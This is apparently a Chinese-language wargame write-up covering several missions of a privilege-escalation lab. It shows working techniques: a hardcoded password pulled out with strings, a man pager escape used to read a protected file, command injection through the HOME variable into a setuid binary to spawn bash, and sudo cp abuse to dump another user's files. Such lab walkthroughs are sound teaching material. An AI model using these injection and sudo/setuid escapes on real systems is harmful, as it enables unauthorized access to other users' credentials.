就是设置了uid和gid,然后执行了/bin/bash,还有一个点刚才执行的时候,提示了bash: you: command not found,看下 hacker 下的 .bashrc 发现第一行是: you must keep attention for the permission in all the files........ 所以报错。这个不知道是故意还是无意。不管了,既然提醒我权限的问题,那我去找找这个用户的文件:
cat mission.txt # The user alala has left us a program, if we insert the 6 correct numbers, she gives us her password! # 程序就在目录下,叫 guess ,直接执行 ./guess # 输入6个数字,提示错误,先 strings 看看有没有写死, # 看到一个类似密码的字符串,试试 ssh [email protected] # 竟然对了。不用逆向了。
MISSION 0x03
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
cat mission.txt # User althea loves reading Linux help. ls -al # 目录有 read 文件,执行之后 发现就是 man,还有 althea_pass.txt ,没权限看。 # man 的话,就是man 的提权,查了下 用 !/bin/sh 就可以了 ./read !/bin/sh # /usr/bin/man: can't set the locale; make sure $LC_* and $LANG are correct # /bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) # /bin/sh: 1: Syntax error: "(" unexpected #!done (press RETURN) # 提示语法错误,看起来是 LC_ALL 的问题,试试 export LC_ALL=C ./read !/bin/sh # 一样的错,看来。。。不是这个问题。既然不能 !/bin/sh 那么直接读 password 可以吗 ./read !cat althea_pass.txt # 成功
aphrodite@hades:~$ ./homecontent The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt # 看起来是帮我们执行了 ls, 直接想到的就是 HOME 的环境变量 HOME=/pwned/ariadne;/id; ./homecontent uid=2048(aphrodite) gid=2048(aphrodite) groups=2048(aphrodite) The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt # 看样子 HOME 是可以注入的,但是是 aphrodite 的身份,那么就是没有权限看 ariadne_pass.txt # 翻看了大佬的视频,发现我这个方法用错了,试试: aphrodite@hades:/pwned/aphrodite$ HOME='/pwned/ariadne;id;' ./homecontent The content of your HOME is: /bin/ls: cannot open directory '/pwned/ariadne': Permission denied uid=2049(ariadne) gid=2048(aphrodite) groups=2048(aphrodite) # id 就对了,那么拿 bash 吧 HOME='/pwned/ariadne;/bin/bash;' ./homecontent cat ariadne_pass.txt # 拿到密码 ssh [email protected]
MISSION 0x08
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
cat mission.txt # The user arete lets us use cp on her behalf. ls -al # 没啥东西,能用别人的命令? sudo -l # (arete) NOPASSWD: /bin/cp # 临时用 arete 的 cp 来拿到密码 sudo -u arete /bin/cp /pwned/arete/arete_pass.txt /var/tmp/arete_pass.txt # /bin/cp: cannot stat '/pwned/arete/arete_pass.txt': No such file or directory # 密码去哪了,先看 flag 吧 sudo -u arete /bin/cp /pwned/arete/flagz.txt /var/tmp/arete_pass.txt cat /var/tmp/arete_pass.txt # cat: /var/tmp/arete_pass.txt: Permission denied # 木有权限啊,那出输出到控制台 sudo -u arete /bin/cp /pwned/arete/flagz.txt /dev/stdout # 还是没找到密码,不管了,flag 拿到后,后台有密码。
MISSION 0x09
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
cat mission.txt # The user artemis allows us to use some binary on her behalf. Its a gift... sudo -l # (artemis) NOPASSWD: /sbin/capsh # 有一个 capsh 命令,执行看看 /sbin/capsh -h # 出来一堆用法 --chroot=path chroot(2) to this path --gid=<n> set gid to <n> (hint: id <username>) --groups=g,... set the supplemental groups
cat mission.txt # User athena lets us run her program, but she hasn't left us her source code. ls -al -r-sr-s--- 1 root atalanta 16608 Jul 26 2023 weird -r-------- 1 atalanta atalanta 927 Jul 26 2023 weird.c # 有个C文件夹,有read权限 # 丢给 ChatGPT 逐行解释下文件 cat weird.c
cat mission.txt
# The user calypso often uses write to communicate.
ls -al
-r-s--s--- 1 root calliope 16360 Jul 26 2023 writeme
# 有一个 writeme 文件,执行看看
./writeme
# Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!
# 重要的事情说 5 遍吗?